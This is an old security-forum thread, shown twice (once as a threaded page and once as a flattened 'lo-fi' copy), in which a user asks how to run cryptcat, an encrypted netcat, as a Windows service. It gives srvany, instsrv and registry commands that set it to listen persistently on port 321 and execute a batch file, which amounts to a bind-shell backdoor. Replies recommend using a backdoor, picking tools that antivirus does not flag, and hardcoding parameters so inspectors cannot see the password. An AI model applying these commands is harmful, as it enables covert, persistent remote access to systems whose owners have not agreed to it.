Cryptc

iLLuSioN

Feb 24 2005, 08:51 PM

Hey , I was wondering if anyone can help me out here.. Im tryin to install a service with firedaemon and i get this, i Have FireDaemon.exe any other files i need really?

Service installation failed: MXBIN environment variable undefined. Error code: 0

Also scince most av pick up FireDaemon i was wondering if there was a program out there that would install an app to a service with parameters. I tried 2 things... Instsrv and srvany scince most av dont pick but also Service manager v1.3, © Hideout Inc

I tried these 2 diff ways...

services createsvrany "cryptc" "cryptc" "c:\exp\srvany.exe"" "c:\exp\cryptc.exe"
regedit /s cryptc.reg

and in cryptc.reg

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cryptc\Parameters]
"AppParameters"="-l -L -t -k fuckyou -p 321 -e check.bat"

no firewalls or anything running. if i put the command myself it works fine

and the other thing i tried was

instsrv.exe cryptc c:\exp\srvany.exe
REG.EXE add HKLM\SYSTEM\CurrentControlSet\Services\cryptc\Parameters\Application=C:\exp\cryptc.exe
REG.EXE add HKLM\SYSTEM\CurrentControlSet\Services\cryptc\Parameters\AppParameters="-l -L -t -k fuckyou -p 321 -e check.bat"

Both give me connection refused, i think the app parameters is messing up somehow...

if i put the command in myself it works fine

Pro21

Feb 24 2005, 11:01 PM

maybe you cannot start this file in service.
What sort of program is it ?

ninar12

Feb 24 2005, 11:12 PM

QUOTE(Pro21 @ Feb 24 2005, 06:01 PM)

maybe you cannot start this file in service.
What sort of program is it ?

in my eye it looks like crytcat

the encrypted netcat

hope im right

and for ur problem

ive heard about a tool that can service such
i gonna have a look 4 it
i pm you when i found it

between sc.exe ?

CODE

iLLuSioN

Feb 25 2005, 05:27 AM

QUOTE

in my eye it looks like crytcat

the encrypted netcat

hope im right

and for ur problem

ive heard about a tool that can service such
i gonna have a look 4 it
i pm you when i found it

between sc.exe ?

CODE

yes it is the encrypted netcat, i never got a pm from you can u send agaiun please?

iLLuSioN

Feb 25 2005, 08:10 AM

Well i found this sc.exe on my very own system its a exe that comes with a resource kit with it.... so i tried it and noticed this does not let u put a application parameter tho...

Pro21

Feb 25 2005, 11:26 AM

lol why install netcat in service ?? use a backdoor, it's more easy to install or take netcat sources and add a module in the code to install it as a service.

iLLuSioN

Feb 25 2005, 06:57 PM

I wish i knew how to do that module stuff

but either way i dont think they have sources in public for cryptcat...

Back to the other main question... Anyone know a service installer other then the tools i have used..

ldm

Feb 25 2005, 08:43 PM

QUOTE

XNET INSTALL [[\\Server\]ServiceName] [/b:Binary] [/d:Dependencies]
   [/l:LoadOrderGroup] [/n:DisplayName] [/u:User] [/p:Password]
   [/i:Interactive] [/s:StartType]

ServiceName - name of service, optionally preceded by name of remote
   machine (eg : \\REMOTE\MSSQLServer).
Binary    - Name of executable.
Dependencies   - Dependencies of service.
LoadOrderGroup - LoadOrderGroup of service.
DisplayName - 'Long' name of service (aka DisplayName).
User    - name of (domain) user account to assign to service. Specify
   'LocalSystem' to assign system account.
Password    - Password for service.
Interactive - specify Yes or No to allow service to interact with desktop.
StartType - indicates when a service will be started. Possible values
   are 'AUTO' (started at system startup), 'DEMAND' (started
   at user request) and 'DISABLED'.

(sorry for my english)

nuorder

Feb 26 2005, 12:56 AM

QUOTE(iLLuSioN @ Feb 26 2005, 04:57 AM)

I wish i knew how to do that module stuff

but either way i dont think they have sources in public for cryptcat...

Sure they do
http://farm9.org/Cryptcat/GetCryptcat.php
http://sourceforge.net/projects/cryptcat/
Edit netcat.c by finding where it implements getopt (command line parameters) and call the functions directly. It also means that someone who views your service's parameters wont get the password.


Help - Search - Member List - Calendar Full Version: Cryptc GovernmentSecurity.org > System Security > Windows Systems iLLuSioN Feb 24 2005, 08:51 PM Hey , I was wondering if anyone can help me out here.. Im tryin to install a service with firedaemon and i get this, i Have FireDaemon.exe any other files i need really? Service installation failed: MXBIN environment variable undefined. Error code: 0 Also scince most av pick up FireDaemon i was wondering if there was a program out there that would install an app to a service with parameters. I tried 2 things... Instsrv and srvany scince most av dont pick but also Service manager v1.3, © Hideout Inc I tried these 2 diff ways... services createsvrany "cryptc" "cryptc" "c:\exp\srvany.exe"" "c:\exp\cryptc.exe" regedit /s cryptc.reg and in cryptc.reg [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cryptc\Parameters] "AppParameters"="-l -L -t -k fuckyou -p 321 -e check.bat" no firewalls or anything running. if i put the command myself it works fine and the other thing i tried was instsrv.exe cryptc c:\exp\srvany.exe REG.EXE add HKLM\SYSTEM\CurrentControlSet\Services\cryptc\Parameters\Application=C:\exp\cryptc.exe REG.EXE add HKLM\SYSTEM\CurrentControlSet\Services\cryptc\Parameters\AppParameters="-l -L -t -k fuckyou -p 321 -e check.bat" Both give me connection refused, i think the app parameters is messing up somehow... if i put the command in myself it works fine Pro21 Feb 24 2005, 11:01 PM maybe you cannot start this file in service. What sort of program is it ? ninar12 Feb 24 2005, 11:12 PM QUOTE(Pro21 @ Feb 24 2005, 06:01 PM) maybe you cannot start this file in service. What sort of program is it ? in my eye it looks like crytcat the encrypted netcat hope im right and for ur problem ive heard about a tool that can service such i gonna have a look 4 it i pm you when i found it between sc.exe ? CODE Creates a service entry in the registry and Service Database. SYNTAX: sc create [service name] [binPath= ] <option1> <option2>... CREATE OPTIONS: NOTE: The option name includes the equal sign. type= <own\|share\|interact\|kernel\|filesys\|rec> (default = own) start= <boot\|system\|auto\|demand\|disabled> (default = demand) error= <normal\|severe\|critical\|ignore> (default = normal) binPath= <BinaryPathName> group= <LoadOrderGroup> tag= <yes\|no> depend= <Dependencies(separated by / (forward slash))> obj= <AccountName\|ObjectName> (default = LocalSystem) DisplayName= <display name> password= <password> iLLuSioN Feb 25 2005, 05:27 AM QUOTE in my eye it looks like crytcat the encrypted netcat hope im right and for ur problem ive heard about a tool that can service such i gonna have a look 4 it i pm you when i found it between sc.exe ? CODE Creates a service entry in the registry and Service Database. SYNTAX: sc create [service name] [binPath= ] <option1> <option2>... CREATE OPTIONS: NOTE: The option name includes the equal sign. type= <own\|share\|interact\|kernel\|filesys\|rec> (default = own) start= <boot\|system\|auto\|demand\|disabled> (default = demand) error= <normal\|severe\|critical\|ignore> (default = normal) binPath= <BinaryPathName> group= <LoadOrderGroup> tag= <yes\|no> depend= <Dependencies(separated by / (forward slash))> obj= <AccountName\|ObjectName> (default = LocalSystem) DisplayName= <display name> password= <password> yes it is the encrypted netcat, i never got a pm from you can u send agaiun please? iLLuSioN Feb 25 2005, 08:10 AM Well i found this sc.exe on my very own system its a exe that comes with a resource kit with it.... so i tried it and noticed this does not let u put a application parameter tho... Pro21 Feb 25 2005, 11:26 AM lol why install netcat in service ?? use a backdoor, it's more easy to install or take netcat sources and add a module in the code to install it as a service. iLLuSioN Feb 25 2005, 06:57 PM I wish i knew how to do that module stuff but either way i dont think they have sources in public for cryptcat... Back to the other main question... Anyone know a service installer other then the tools i have used.. ldm Feb 25 2005, 08:43 PM I know XNET It's similar of windows net.exe but it can install service too Usage : XNET <Start \| Stop \| Pause \| Continue \| List \| Install \| Remove \| Modify \| Reboot \| Shutdown \| Help> QUOTE XNET INSTALL [[\\Server\]ServiceName] [/b:Binary] [/d:Dependencies] [/l:LoadOrderGroup] [/n:DisplayName] [/u:User] [/p:Password] [/i:Interactive] [/s:StartType] ServiceName - name of service, optionally preceded by name of remote machine (eg : \\REMOTE\MSSQLServer). Binary - Name of executable. Dependencies - Dependencies of service. LoadOrderGroup - LoadOrderGroup of service. DisplayName - 'Long' name of service (aka DisplayName). User - name of (domain) user account to assign to service. Specify 'LocalSystem' to assign system account. Password - Password for service. Interactive - specify Yes or No to allow service to interact with desktop. StartType - indicates when a service will be started. Possible values are 'AUTO' (started at system startup), 'DEMAND' (started at user request) and 'DISABLED'. (sorry for my english) nuorder Feb 26 2005, 12:56 AM QUOTE(iLLuSioN @ Feb 26 2005, 04:57 AM) I wish i knew how to do that module stuff but either way i dont think they have sources in public for cryptcat... Sure they do http://farm9.org/Cryptcat/GetCryptcat.php http://sourceforge.net/projects/cryptcat/ Edit netcat.c by finding where it implements getopt (command line parameters) and call the functions directly. It also means that someone who views your service's parameters wont get the password. This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.